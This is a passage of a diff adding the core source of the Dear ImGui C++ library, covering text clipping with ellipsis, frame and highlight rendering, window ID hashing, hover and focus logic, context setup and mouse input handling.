pos_max.x and ellipsis_max.x + const float text_avail_width = ImMax((ImMax(pos_max.x, ellipsis_max_x) - ellipsis_total_width) - pos_min.x, 1.0f); + float text_size_clipped_x = font->CalcTextSizeA(font_size, text_avail_width, 0.0f, text, text_end_full, &text_end_ellipsis).x; + if (text == text_end_ellipsis && text_end_ellipsis < text_end_full) + { + // Always display at least 1 character if there's no room for character + ellipsis + text_end_ellipsis = text + ImTextCountUtf8BytesFromChar(text, text_end_full); + text_size_clipped_x = font->CalcTextSizeA(font_size, FLT_MAX, 0.0f, text, text_end_ellipsis).x; + } + while (text_end_ellipsis > text && ImCharIsBlankA(text_end_ellipsis[-1])) + { + // Trim trailing space before ellipsis (FIXME: Supporting non-ascii blanks would be nice, for this we need a function to backtrack in UTF-8 text) + text_end_ellipsis--; + text_size_clipped_x -= font->CalcTextSizeA(font_size, FLT_MAX, 0.0f, text_end_ellipsis, text_end_ellipsis + 1).x; // Ascii blanks are always 1 byte + } + + // Render text, render ellipsis + RenderTextClippedEx(draw_list, pos_min, ImVec2(clip_max_x, pos_max.y), text, text_end_ellipsis, &text_size, ImVec2(0.0f, 0.0f)); + float ellipsis_x = pos_min.x + text_size_clipped_x; + if (ellipsis_x + ellipsis_total_width <= ellipsis_max_x) + for (int i = 0; i < ellipsis_char_count; i++) + { + font->RenderChar(draw_list, font_size, ImVec2(ellipsis_x, pos_min.y), GetColorU32(ImGuiCol_Text), ellipsis_char); + ellipsis_x += ellipsis_glyph_width; + } + } + else + { + RenderTextClippedEx(draw_list, pos_min, ImVec2(clip_max_x, pos_max.y), text, text_end_full, &text_size, ImVec2(0.0f, 0.0f)); + } + + if (g.LogEnabled) + LogRenderedText(&pos_min, text, text_end_full); +} + +// Render a rectangle shaped with optional rounding and borders +void ImGui::RenderFrame(ImVec2 p_min, ImVec2 p_max, ImU32 fill_col, bool border, float rounding) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + window->DrawList->AddRectFilled(p_min, p_max, fill_col, rounding); + const float border_size = g.Style.FrameBorderSize; + if (border && border_size > 0.0f) + { + window->DrawList->AddRect(p_min + ImVec2(1, 1), p_max + ImVec2(1, 1), GetColorU32(ImGuiCol_BorderShadow), rounding, ImDrawCornerFlags_All, border_size); + window->DrawList->AddRect(p_min, p_max, GetColorU32(ImGuiCol_Border), rounding, ImDrawCornerFlags_All, border_size); + } +} + +void ImGui::RenderFrameBorder(ImVec2 p_min, ImVec2 p_max, float rounding) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + const float border_size = g.Style.FrameBorderSize; + if (border_size > 0.0f) + { + window->DrawList->AddRect(p_min + ImVec2(1, 1), p_max + ImVec2(1, 1), GetColorU32(ImGuiCol_BorderShadow), rounding, ImDrawCornerFlags_All, border_size); + window->DrawList->AddRect(p_min, p_max, GetColorU32(ImGuiCol_Border), rounding, ImDrawCornerFlags_All, border_size); + } +} + +void ImGui::RenderNavHighlight(const ImRect& bb, ImGuiID id, ImGuiNavHighlightFlags flags) +{ + ImGuiContext& g = *GImGui; + if (id != g.NavId) + return; + if (g.NavDisableHighlight && !(flags & ImGuiNavHighlightFlags_AlwaysDraw)) + return; + ImGuiWindow* window = g.CurrentWindow; + if (window->DC.NavHideHighlightOneFrame) + return; + + float rounding = (flags & ImGuiNavHighlightFlags_NoRounding) ? 0.0f : g.Style.FrameRounding; + ImRect display_rect = bb; + display_rect.ClipWith(window->ClipRect); + if (flags & ImGuiNavHighlightFlags_TypeDefault) + { + const float THICKNESS = 2.0f; + const float DISTANCE = 3.0f + THICKNESS * 0.5f; + display_rect.Expand(ImVec2(DISTANCE, DISTANCE)); + bool fully_visible = window->ClipRect.Contains(display_rect); + if (!fully_visible) + window->DrawList->PushClipRect(display_rect.Min, display_rect.Max); + window->DrawList->AddRect(display_rect.Min + ImVec2(THICKNESS * 0.5f, THICKNESS * 0.5f), display_rect.Max - ImVec2(THICKNESS * 0.5f, THICKNESS * 0.5f), GetColorU32(ImGuiCol_NavHighlight), rounding, ImDrawCornerFlags_All, THICKNESS); + if (!fully_visible) + window->DrawList->PopClipRect(); + } + if (flags & ImGuiNavHighlightFlags_TypeThin) + { + window->DrawList->AddRect(display_rect.Min, display_rect.Max, GetColorU32(ImGuiCol_NavHighlight), rounding, ~0, 1.0f); + } +} + +//----------------------------------------------------------------------------- +// [SECTION] MAIN CODE (most of the code! lots of stuff, needs tidying up!) +//----------------------------------------------------------------------------- + +// ImGuiWindow is mostly a dumb struct. It merely has a constructor and a few helper methods +ImGuiWindow::ImGuiWindow(ImGuiContext* context, const char* name) : DrawListInst(NULL) +{ + memset(this, 0, sizeof(*this)); + Name = ImStrdup(name); + NameBufLen = (int)strlen(name) + 1; + ID = ImHashStr(name); + IDStack.push_back(ID); + MoveId = GetID("#MOVE"); + ScrollTarget = ImVec2(FLT_MAX, FLT_MAX); + ScrollTargetCenterRatio = ImVec2(0.5f, 0.5f); + AutoFitFramesX = AutoFitFramesY = -1; + AutoPosLastDirection = ImGuiDir_None; + SetWindowPosAllowFlags = SetWindowSizeAllowFlags = SetWindowCollapsedAllowFlags = ImGuiCond_Always | ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing; + SetWindowPosVal = SetWindowPosPivot = ImVec2(FLT_MAX, FLT_MAX); + LastFrameActive = -1; + LastTimeActive = -1.0f; + FontWindowScale = 1.0f; + SettingsOffset = -1; + DrawList = &DrawListInst; + DrawList->_Data = &context->DrawListSharedData; + DrawList->_OwnerName = Name; +} + +ImGuiWindow::~ImGuiWindow() +{ + IM_ASSERT(DrawList == &DrawListInst); + IM_DELETE(Name); + for (int i = 0; i != ColumnsStorage.Size; i++) + ColumnsStorage[i].~ImGuiOldColumns(); +} + +ImGuiID ImGuiWindow::GetID(const char* str, const char* str_end) +{ + ImGuiID seed = IDStack.back(); + ImGuiID id = ImHashStr(str, str_end ? (str_end - str) : 0, seed); + ImGui::KeepAliveID(id); +#ifdef IMGUI_ENABLE_TEST_ENGINE + ImGuiContext& g = *GImGui; + IMGUI_TEST_ENGINE_ID_INFO2(id, ImGuiDataType_String, str, str_end); +#endif + return id; +} + +ImGuiID ImGuiWindow::GetID(const void* ptr) +{ + ImGuiID seed = IDStack.back(); + ImGuiID id = ImHashData(&ptr, sizeof(void*), seed); + ImGui::KeepAliveID(id); +#ifdef IMGUI_ENABLE_TEST_ENGINE + ImGuiContext& g = *GImGui; + IMGUI_TEST_ENGINE_ID_INFO(id, ImGuiDataType_Pointer, ptr); +#endif + return id; +} + +ImGuiID ImGuiWindow::GetID(int n) +{ + ImGuiID seed = IDStack.back(); + ImGuiID id = ImHashData(&n, sizeof(n), seed); + ImGui::KeepAliveID(id); +#ifdef IMGUI_ENABLE_TEST_ENGINE + ImGuiContext& g = *GImGui; + IMGUI_TEST_ENGINE_ID_INFO(id, ImGuiDataType_S32, (intptr_t)n); +#endif + return id; +} + +ImGuiID ImGuiWindow::GetIDNoKeepAlive(const char* str, const char* str_end) +{ + ImGuiID seed = IDStack.back(); + ImGuiID id = ImHashStr(str, str_end ? (str_end - str) : 0, seed); +#ifdef IMGUI_ENABLE_TEST_ENGINE + ImGuiContext& g = *GImGui; + IMGUI_TEST_ENGINE_ID_INFO2(id, ImGuiDataType_String, str, str_end); +#endif + return id; +} + +ImGuiID ImGuiWindow::GetIDNoKeepAlive(const void* ptr) +{ + ImGuiID seed = IDStack.back(); + ImGuiID id = ImHashData(&ptr, sizeof(void*), seed); +#ifdef IMGUI_ENABLE_TEST_ENGINE + ImGuiContext& g = *GImGui; + IMGUI_TEST_ENGINE_ID_INFO(id, ImGuiDataType_Pointer, ptr); +#endif + return id; +} + +ImGuiID ImGuiWindow::GetIDNoKeepAlive(int n) +{ + ImGuiID seed = IDStack.back(); + ImGuiID id = ImHashData(&n, sizeof(n), seed); +#ifdef IMGUI_ENABLE_TEST_ENGINE + ImGuiContext& g = *GImGui; + IMGUI_TEST_ENGINE_ID_INFO(id, ImGuiDataType_S32, (intptr_t)n); +#endif + return id; +} + +// This is only used in rare/specific situations to manufacture an ID out of nowhere. +ImGuiID ImGuiWindow::GetIDFromRectangle(const ImRect& r_abs) +{ + ImGuiID seed = IDStack.back(); + const int r_rel[4] = { (int)(r_abs.Min.x - Pos.x), (int)(r_abs.Min.y - Pos.y), (int)(r_abs.Max.x - Pos.x), (int)(r_abs.Max.y - Pos.y) }; + ImGuiID id = ImHashData(&r_rel, sizeof(r_rel), seed); + ImGui::KeepAliveID(id); + return id; +} + +static void SetCurrentWindow(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + g.CurrentWindow = window; + g.CurrentTable = window && window->DC.CurrentTableIdx != -1 ? g.Tables.GetByIndex(window->DC.CurrentTableIdx) : NULL; + if (window) + g.FontSize = g.DrawListSharedData.FontSize = window->CalcFontSize(); +} + +void ImGui::GcCompactTransientMiscBuffers() +{ + ImGuiContext& g = *GImGui; + g.ItemFlagsStack.clear(); + g.GroupStack.clear(); + TableGcCompactSettings(); +} + +// Free up/compact internal window buffers, we can use this when a window becomes unused. +// Not freed: +// - ImGuiWindow, ImGuiWindowSettings, Name, StateStorage, ColumnsStorage (may hold useful data) +// This should have no noticeable visual effect. When the window reappear however, expect new allocation/buffer growth/copy cost. +void ImGui::GcCompactTransientWindowBuffers(ImGuiWindow* window) +{ + window->MemoryCompacted = true; + window->MemoryDrawListIdxCapacity = window->DrawList->IdxBuffer.Capacity; + window->MemoryDrawListVtxCapacity = window->DrawList->VtxBuffer.Capacity; + window->IDStack.clear(); + window->DrawList->_ClearFreeMemory(); + window->DC.ChildWindows.clear(); + window->DC.ItemWidthStack.clear(); + window->DC.TextWrapPosStack.clear(); +} + +void ImGui::GcAwakeTransientWindowBuffers(ImGuiWindow* window) +{ + // We stored capacity of the ImDrawList buffer to reduce growth-caused allocation/copy when awakening. + // The other buffers tends to amortize much faster. + window->MemoryCompacted = false; + window->DrawList->IdxBuffer.reserve(window->MemoryDrawListIdxCapacity); + window->DrawList->VtxBuffer.reserve(window->MemoryDrawListVtxCapacity); + window->MemoryDrawListIdxCapacity = window->MemoryDrawListVtxCapacity = 0; +} + +void ImGui::SetActiveID(ImGuiID id, ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + g.ActiveIdIsJustActivated = (g.ActiveId != id); + if (g.ActiveIdIsJustActivated) + { + g.ActiveIdTimer = 0.0f; + g.ActiveIdHasBeenPressedBefore = false; + g.ActiveIdHasBeenEditedBefore = false; + if (id != 0) + { + g.LastActiveId = id; + g.LastActiveIdTimer = 0.0f; + } + } + g.ActiveId = id; + g.ActiveIdAllowOverlap = false; + g.ActiveIdNoClearOnFocusLoss = false; + g.ActiveIdWindow = window; + g.ActiveIdHasBeenEditedThisFrame = false; + if (id) + { + g.ActiveIdIsAlive = id; + g.ActiveIdSource = (g.NavActivateId == id || g.NavInputId == id || g.NavJustTabbedId == id || g.NavJustMovedToId == id) ? ImGuiInputSource_Nav : ImGuiInputSource_Mouse; + } + + // Clear declaration of inputs claimed by the widget + // (Please note that this is WIP and not all keys/inputs are thoroughly declared by all widgets yet) + g.ActiveIdUsingMouseWheel = false; + g.ActiveIdUsingNavDirMask = 0x00; + g.ActiveIdUsingNavInputMask = 0x00; + g.ActiveIdUsingKeyInputMask = 0x00; +} + +void ImGui::ClearActiveID() +{ + SetActiveID(0, NULL); // g.ActiveId = 0; +} + +void ImGui::SetHoveredID(ImGuiID id) +{ + ImGuiContext& g = *GImGui; + g.HoveredId = id; + g.HoveredIdAllowOverlap = false; + g.HoveredIdUsingMouseWheel = false; + if (id != 0 && g.HoveredIdPreviousFrame != id) + g.HoveredIdTimer = g.HoveredIdNotActiveTimer = 0.0f; +} + +ImGuiID ImGui::GetHoveredID() +{ + ImGuiContext& g = *GImGui; + return g.HoveredId ? g.HoveredId : g.HoveredIdPreviousFrame; +} + +void ImGui::KeepAliveID(ImGuiID id) +{ + ImGuiContext& g = *GImGui; + if (g.ActiveId == id) + g.ActiveIdIsAlive = id; + if (g.ActiveIdPreviousFrame == id) + g.ActiveIdPreviousFrameIsAlive = true; +} + +void ImGui::MarkItemEdited(ImGuiID id) +{ + // This marking is solely to be able to provide info for IsItemDeactivatedAfterEdit(). + // ActiveId might have been released by the time we call this (as in the typical press/release button behavior) but still need need to fill the data. + ImGuiContext& g = *GImGui; + IM_ASSERT(g.ActiveId == id || g.ActiveId == 0 || g.DragDropActive); + IM_UNUSED(id); // Avoid unused variable warnings when asserts are compiled out. + //IM_ASSERT(g.CurrentWindow->DC.LastItemId == id); + g.ActiveIdHasBeenEditedThisFrame = true; + g.ActiveIdHasBeenEditedBefore = true; + g.CurrentWindow->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_Edited; +} + +static inline bool IsWindowContentHoverable(ImGuiWindow* window, ImGuiHoveredFlags flags) +{ + // An active popup disable hovering on other windows (apart from its own children) + // FIXME-OPT: This could be cached/stored within the window. + ImGuiContext& g = *GImGui; + if (g.NavWindow) + if (ImGuiWindow* focused_root_window = g.NavWindow->RootWindow) + if (focused_root_window->WasActive && focused_root_window != window->RootWindow) + { + // For the purpose of those flags we differentiate "standard popup" from "modal popup" + // NB: The order of those two tests is important because Modal windows are also Popups. + if (focused_root_window->Flags & ImGuiWindowFlags_Modal) + return false; + if ((focused_root_window->Flags & ImGuiWindowFlags_Popup) && !(flags & ImGuiHoveredFlags_AllowWhenBlockedByPopup)) + return false; + } + return true; +} + +// This is roughly matching the behavior of internal-facing ItemHoverable() +// - we allow hovering to be true when ActiveId==window->MoveID, so that clicking on non-interactive items such as a Text() item still returns true with IsItemHovered() +// - this should work even for non-interactive items that have no ID, so we cannot use LastItemId +bool ImGui::IsItemHovered(ImGuiHoveredFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (g.NavDisableMouseHover && !g.NavDisableHighlight) + return IsItemFocused(); + + // Test for bounding box overlap, as updated as ItemAdd() + if (!(window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HoveredRect)) + return false; + IM_ASSERT((flags & (ImGuiHoveredFlags_RootWindow | ImGuiHoveredFlags_ChildWindows)) == 0); // Flags not supported by this function + + // Test if we are hovering the right window (our window could be behind another window) + // [2017/10/16] Reverted commit 344d48be3 and testing RootWindow instead. I believe it is correct to NOT test for RootWindow but this leaves us unable to use IsItemHovered() after EndChild() itself. + // Until a solution is found I believe reverting to the test from 2017/09/27 is safe since this was the test that has been running for a long while. + //if (g.HoveredWindow != window) + // return false; + if (g.HoveredRootWindow != window->RootWindow && !(flags & ImGuiHoveredFlags_AllowWhenOverlapped)) + return false; + + // Test if another item is active (e.g. being dragged) + if (!(flags & ImGuiHoveredFlags_AllowWhenBlockedByActiveItem)) + if (g.ActiveId != 0 && g.ActiveId != window->DC.LastItemId && !g.ActiveIdAllowOverlap && g.ActiveId != window->MoveId) + return false; + + // Test if interactions on this window are blocked by an active popup or modal. + // The ImGuiHoveredFlags_AllowWhenBlockedByPopup flag will be tested here. + if (!IsWindowContentHoverable(window, flags)) + return false; + + // Test if the item is disabled + if ((window->DC.ItemFlags & ImGuiItemFlags_Disabled) && !(flags & ImGuiHoveredFlags_AllowWhenDisabled)) + return false; + + // Special handling for calling after Begin() which represent the title bar or tab. + // When the window is collapsed (SkipItems==true) that last item will never be overwritten so we need to detect the case. + if (window->DC.LastItemId == window->MoveId && window->WriteAccessed) + return false; + return true; +} + +// Internal facing ItemHoverable() used when submitting widgets. Differs slightly from IsItemHovered(). +bool ImGui::ItemHoverable(const ImRect& bb, ImGuiID id) +{ + ImGuiContext& g = *GImGui; + if (g.HoveredId != 0 && g.HoveredId != id && !g.HoveredIdAllowOverlap) + return false; + + ImGuiWindow* window = g.CurrentWindow; + if (g.HoveredWindow != window) + return false; + if (g.ActiveId != 0 && g.ActiveId != id && !g.ActiveIdAllowOverlap) + return false; + if (!IsMouseHoveringRect(bb.Min, bb.Max)) + return false; + if (g.NavDisableMouseHover) + return false; + if (!IsWindowContentHoverable(window, ImGuiHoveredFlags_None) || (window->DC.ItemFlags & ImGuiItemFlags_Disabled)) + { + g.HoveredIdDisabled = true; + return false; + } + + // We exceptionally allow this function to be called with id==0 to allow using it for easy high-level + // hover test in widgets code. We could also decide to split this function is two. + if (id != 0) + { + SetHoveredID(id); + + // [DEBUG] Item Picker tool! + // We perform the check here because SetHoveredID() is not frequently called (1~ time a frame), making + // the cost of this tool near-zero. We can get slightly better call-stack and support picking non-hovered + // items if we perform the test in ItemAdd(), but that would incur a small runtime cost. + // #define IMGUI_DEBUG_TOOL_ITEM_PICKER_EX in imconfig.h if you want this check to also be performed in ItemAdd(). + if (g.DebugItemPickerActive && g.HoveredIdPreviousFrame == id) + GetForegroundDrawList()->AddRect(bb.Min, bb.Max, IM_COL32(255, 255, 0, 255)); + if (g.DebugItemPickerBreakId == id) + IM_DEBUG_BREAK(); + } + + return true; +} + +bool ImGui::IsClippedEx(const ImRect& bb, ImGuiID id, bool clip_even_when_logged) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (!bb.Overlaps(window->ClipRect)) + if (id == 0 || (id != g.ActiveId && id != g.NavId)) + if (clip_even_when_logged || !g.LogEnabled) + return true; + return false; +} + +// This is also inlined in ItemAdd() +// Note: if ImGuiItemStatusFlags_HasDisplayRect is set, user needs to set window->DC.LastItemDisplayRect! +void ImGui::SetLastItemData(ImGuiWindow* window, ImGuiID item_id, ImGuiItemStatusFlags item_flags, const ImRect& item_rect) +{ + window->DC.LastItemId = item_id; + window->DC.LastItemStatusFlags = item_flags; + window->DC.LastItemRect = item_rect; +} + +// Process TAB/Shift+TAB. Be mindful that this function may _clear_ the ActiveID when tabbing out. +bool ImGui::FocusableItemRegister(ImGuiWindow* window, ImGuiID id) +{ + ImGuiContext& g = *GImGui; + + // Increment counters + const bool is_tab_stop = (window->DC.ItemFlags & (ImGuiItemFlags_NoTabStop | ImGuiItemFlags_Disabled)) == 0; + window->DC.FocusCounterRegular++; + if (is_tab_stop) + window->DC.FocusCounterTabStop++; + + // Process TAB/Shift-TAB to tab *OUT* of the currently focused item. + // (Note that we can always TAB out of a widget that doesn't allow tabbing in) + if (g.ActiveId == id && g.FocusTabPressed && !IsActiveIdUsingKey(ImGuiKey_Tab) && g.FocusRequestNextWindow == NULL) + { + g.FocusRequestNextWindow = window; + g.FocusRequestNextCounterTabStop = window->DC.FocusCounterTabStop + (g.IO.KeyShift ? (is_tab_stop ? -1 : 0) : +1); // Modulo on index will be applied at the end of frame once we've got the total counter of items. + } + + // Handle focus requests + if (g.FocusRequestCurrWindow == window) + { + if (window->DC.FocusCounterRegular == g.FocusRequestCurrCounterRegular) + return true; + if (is_tab_stop && window->DC.FocusCounterTabStop == g.FocusRequestCurrCounterTabStop) + { + g.NavJustTabbedId = id; + return true; + } + + // If another item is about to be focused, we clear our own active id + if (g.ActiveId == id) + ClearActiveID(); + } + + return false; +} + +void ImGui::FocusableItemUnregister(ImGuiWindow* window) +{ + window->DC.FocusCounterRegular--; + window->DC.FocusCounterTabStop--; +} + +float ImGui::CalcWrapWidthForPos(const ImVec2& pos, float wrap_pos_x) +{ + if (wrap_pos_x < 0.0f) + return 0.0f; + + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (wrap_pos_x == 0.0f) + { + // We could decide to setup a default wrapping max point for auto-resizing windows, + // or have auto-wrap (with unspecified wrapping pos) behave as a ContentSize extending function? + //if (window->Hidden && (window->Flags & ImGuiWindowFlags_AlwaysAutoResize)) + // wrap_pos_x = ImMax(window->WorkRect.Min.x + g.FontSize * 10.0f, window->WorkRect.Max.x); + //else + wrap_pos_x = window->WorkRect.Max.x; + } + else if (wrap_pos_x > 0.0f) + { + wrap_pos_x += window->Pos.x - window->Scroll.x; // wrap_pos_x is provided is window local space + } + + return ImMax(wrap_pos_x - pos.x, 1.0f); +} + +// IM_ALLOC() == ImGui::MemAlloc() +void* ImGui::MemAlloc(size_t size) +{ + if (ImGuiContext* ctx = GImGui) + ctx->IO.MetricsActiveAllocations++; + return GImAllocatorAllocFunc(size, GImAllocatorUserData); +} + +// IM_FREE() == ImGui::MemFree() +void ImGui::MemFree(void* ptr) +{ + if (ptr) + if (ImGuiContext* ctx = GImGui) + ctx->IO.MetricsActiveAllocations--; + return GImAllocatorFreeFunc(ptr, GImAllocatorUserData); +} + +const char* ImGui::GetClipboardText() +{ + ImGuiContext& g = *GImGui; + return g.IO.GetClipboardTextFn ? g.IO.GetClipboardTextFn(g.IO.ClipboardUserData) : ""; +} + +void ImGui::SetClipboardText(const char* text) +{ + ImGuiContext& g = *GImGui; + if (g.IO.SetClipboardTextFn) + g.IO.SetClipboardTextFn(g.IO.ClipboardUserData, text); +} + +const char* ImGui::GetVersion() +{ + return IMGUI_VERSION; +} + +// Internal state access - if you want to share Dear ImGui state between modules (e.g. DLL) or allocate it yourself +// Note that we still point to some static data and members (such as GFontAtlas), so the state instance you end up using will point to the static data within its module +ImGuiContext* ImGui::GetCurrentContext() +{ + return GImGui; +} + +void ImGui::SetCurrentContext(ImGuiContext* ctx) +{ +#ifdef IMGUI_SET_CURRENT_CONTEXT_FUNC + IMGUI_SET_CURRENT_CONTEXT_FUNC(ctx); // For custom thread-based hackery you may want to have control over this. +#else + GImGui = ctx; +#endif +} + +void ImGui::SetAllocatorFunctions(void* (*alloc_func)(size_t sz, void* user_data), void (*free_func)(void* ptr, void* user_data), void* user_data) +{ + GImAllocatorAllocFunc = alloc_func; + GImAllocatorFreeFunc = free_func; + GImAllocatorUserData = user_data; +} + +ImGuiContext* ImGui::CreateContext(ImFontAtlas* shared_font_atlas) +{ + ImGuiContext* ctx = IM_NEW(ImGuiContext)(shared_font_atlas); + if (GImGui == NULL) + SetCurrentContext(ctx); + Initialize(ctx); + return ctx; +} + +void ImGui::DestroyContext(ImGuiContext* ctx) +{ + if (ctx == NULL) + ctx = GImGui; + Shutdown(ctx); + if (GImGui == ctx) + SetCurrentContext(NULL); + IM_DELETE(ctx); +} + +// No specific ordering/dependency support, will see as needed +void ImGui::AddContextHook(ImGuiContext* ctx, const ImGuiContextHook* hook) +{ + ImGuiContext& g = *ctx; + IM_ASSERT(hook->Callback != NULL); + g.Hooks.push_back(*hook); +} + +// Call context hooks (used by e.g. test engine) +// We assume a small number of hooks so all stored in same array +void ImGui::CallContextHooks(ImGuiContext* ctx, ImGuiContextHookType hook_type) +{ + ImGuiContext& g = *ctx; + for (int n = 0; n < g.Hooks.Size; n++) + if (g.Hooks[n].Type == hook_type) + g.Hooks[n].Callback(&g, &g.Hooks[n]); +} + +ImGuiIO& ImGui::GetIO() +{ + IM_ASSERT(GImGui != NULL && "No current context. Did you call ImGui::CreateContext() and ImGui::SetCurrentContext() ?"); + return GImGui->IO; +} + +// Pass this to your backend rendering function! Valid after Render() and until the next call to NewFrame() +ImDrawData* ImGui::GetDrawData() +{ + ImGuiContext& g = *GImGui; + return g.DrawData.Valid ? &g.DrawData : NULL; +} + +double ImGui::GetTime() +{ + return GImGui->Time; +} + +int ImGui::GetFrameCount() +{ + return GImGui->FrameCount; +} + +ImDrawList* ImGui::GetBackgroundDrawList() +{ + return &GImGui->BackgroundDrawList; +} + +ImDrawList* ImGui::GetForegroundDrawList() +{ + return &GImGui->ForegroundDrawList; +} + +ImDrawListSharedData* ImGui::GetDrawListSharedData() +{ + return &GImGui->DrawListSharedData; +} + +void ImGui::StartMouseMovingWindow(ImGuiWindow* window) +{ + // Set ActiveId even if the _NoMove flag is set. Without it, dragging away from a window with _NoMove would activate hover on other windows. + // We _also_ call this when clicking in a window empty space when io.ConfigWindowsMoveFromTitleBarOnly is set, but clear g.MovingWindow afterward. + // This is because we want ActiveId to be set even when the window is not permitted to move. + ImGuiContext& g = *GImGui; + FocusWindow(window); + SetActiveID(window->MoveId, window); + g.NavDisableHighlight = true; + g.ActiveIdNoClearOnFocusLoss = true; + g.ActiveIdClickOffset = g.IO.MousePos - window->RootWindow->Pos; + + bool can_move_window = true; + if ((window->Flags & ImGuiWindowFlags_NoMove) || (window->RootWindow->Flags & ImGuiWindowFlags_NoMove)) + can_move_window = false; + if (can_move_window) + g.MovingWindow = window; +} + +// Handle mouse moving window +// Note: moving window with the navigation keys (Square + d-pad / CTRL+TAB + Arrows) are processed in NavUpdateWindowing() +// FIXME: We don't have strong guarantee that g.MovingWindow stay synched with g.ActiveId == g.MovingWindow->MoveId. +// This is currently enforced by the fact that BeginDragDropSource() is setting all g.ActiveIdUsingXXXX flags to inhibit navigation inputs, +// but if we should more thoroughly test cases where g.ActiveId or g.MovingWindow gets changed and not the other. +void ImGui::UpdateMouseMovingWindowNewFrame() +{ + ImGuiContext& g = *GImGui; + if (g.MovingWindow != NULL) + { + // We actually want to move the root window. g.MovingWindow == window we clicked on (could be a child window). + // We track it to preserve Focus and so that generally ActiveIdWindow == MovingWindow and ActiveId == MovingWindow->MoveId for consistency. + KeepAliveID(g.ActiveId); + IM_ASSERT(g.MovingWindow && g.MovingWindow->RootWindow); + ImGuiWindow* moving_window = g.MovingWindow->RootWindow; + if (g.IO.MouseDown[0] && IsMousePosValid(&g.IO.MousePos)) + { + ImVec2 pos = g.IO.MousePos - g.ActiveIdClickOffset; + if (moving_window->Pos.x != pos.x || moving_window->Pos.y != pos.y) + { + MarkIniSettingsDirty(moving_window); + SetWindowPos(moving_window, pos, ImGuiCond_Always); + } + FocusWindow(g.MovingWindow); + } + else + { + ClearActiveID(); + g.MovingWindow = NULL; + } + } + else + { + // When clicking/dragging from a window that has the _NoMove flag, we still set the ActiveId in order to prevent hovering others. + if (g.ActiveIdWindow && g.ActiveIdWindow->MoveId == g.ActiveId) + { + KeepAliveID(g.ActiveId); + if (!g.IO.MouseDown[0]) + ClearActiveID(); + } + } +} + +// Initiate moving window when clicking on empty space or title bar. +// Handle left-click and right-click focus. +void ImGui::UpdateMouseMovingWindowEndFrame() +{ + ImGuiContext& g = *GImGui; + if (g.ActiveId != 0 || g.HoveredId != 0) + return; + + // Unless we just made a window/popup appear + if (g.NavWindow && g.NavWindow->Appearing) + return; + + // Click on empty space to focus window and start moving (after we're done with all our widgets) + if (g.IO.MouseClicked[0]) + { + // Handle the edge case of a popup being closed while clicking in its empty space. + // If we try to focus it, FocusWindow() > ClosePopupsOverWindow() will accidentally close any parent popups because they are not linked together any more. + ImGuiWindow* root_window = g.HoveredRootWindow; + const bool is_closed_popup = root_window && (root_window->Flags & ImGuiWindowFlags_Popup) && !IsPopupOpen(root_window->PopupId, ImGuiPopupFlags_AnyPopupLevel); + + if (root_window != NULL && !is_closed_popup) + { + StartMouseMovingWindow(g.HoveredWindow); //-V595 + + // Cancel moving if clicked outside of title bar + if (g.IO.ConfigWindowsMoveFromTitleBarOnly && !(root_window->Flags & ImGuiWindowFlags_NoTitleBar)) + if (!root_window->TitleBarRect().Contains(g.IO.MouseClickedPos[0])) + g.MovingWindow = NULL; + + // Cancel moving if clicked over an item which was disabled or inhibited by popups (note that we know HoveredId == 0 already) + if (g.HoveredIdDisabled) + g.MovingWindow = NULL; + } + else if (root_window == NULL && g.NavWindow != NULL && GetTopMostPopupModal() == NULL) + { + // Clicking on void disable focus + FocusWindow(NULL); + } + } + + // With right mouse button we close popups without changing focus based on where the mouse is aimed + // Instead, focus will be restored to the window under the bottom-most closed popup. + // (The left mouse button path calls FocusWindow on the hovered window, which will lead NewFrame->ClosePopupsOverWindow to trigger) + if (g.IO.MouseClicked[1]) + { + // Find the top-most window between HoveredWindow and the top-most Modal Window. + // This is where we can trim the popup stack. + ImGuiWindow* modal = GetTopMostPopupModal(); + bool hovered_window_above_modal = g.HoveredWindow && IsWindowAbove(g.HoveredWindow, modal); + ClosePopupsOverWindow(hovered_window_above_modal ? g.HoveredWindow : modal, true); + } +} + +static bool IsWindowActiveAndVisible(ImGuiWindow* window) +{ + return (window->Active) && (!window->Hidden); +} + +static void ImGui::UpdateMouseInputs() +{ + ImGuiContext& g = *GImGui; + + // Round mouse position to avoid spreading non-rounded position (e.g. UpdateManualResize doesn't support them well) + if (IsMousePosValid(&g.IO.MousePos)) + g.IO.MousePos = g.LastValidMousePos = ImFloor(g.IO.MousePos); + + // If mouse just appeared or disappeared (usually denoted by -FLT_MAX components) we cancel out movement in MouseDelta + if (IsMousePosValid(&g.IO.MousePos) && IsMousePosValid(&g.IO.MousePosPrev)) + g.IO.MouseDelta = g.IO.MousePos - g.IO.MousePosPrev; + else + g.IO.MouseDelta = ImVec2(0.0f, 0.0f); + if (g.IO.MouseDelta.x != 0.0f || g.IO.MouseDelta.y != 0.0f) + g.NavDisableMouseHover = false; + + g.IO.MousePosPrev = g.IO.MousePos; + for (int i = 0; i < IM_ARRAYSIZE(g.IO.MouseDown); i++) + { + g.IO.MouseClicked[i] = g.IO.MouseDown[i] && g.IO.MouseDownDuration[i] < 0.0f; + g.IO.MouseReleased[i] = !g.IO.MouseDown[i] && g.IO.MouseDownDuration[i] >= 0.0f; + g.IO.MouseDownDurationPrev[i] = g.IO.MouseDownDuration[i]; + g.IO.MouseDownDuration[i] = g.IO.MouseDown[i] ? (g.IO.MouseDownDuration[i] < 0.0f ? 0.0f : g.IO.MouseDownDuration[i] + g.IO.DeltaTime) : -1.0f; + g.IO.MouseDoubleClicked[i] = false; + if (g.IO.MouseClicked[i]) + { + if ((float)(g.Time - g.IO.MouseClickedTime[i]) < g.IO.MouseDoubleClickTime) + { + ImVec2 delta_from_click_pos = IsMousePosValid(&g.IO.MousePos) ? (g.IO.MousePos - g.IO.MouseClickedPos[i]) : ImVec2(0.0f, 0.0f); + if (ImLengthSqr(delta_from_click_pos) < g.IO.MouseDoubleClickMaxDist * 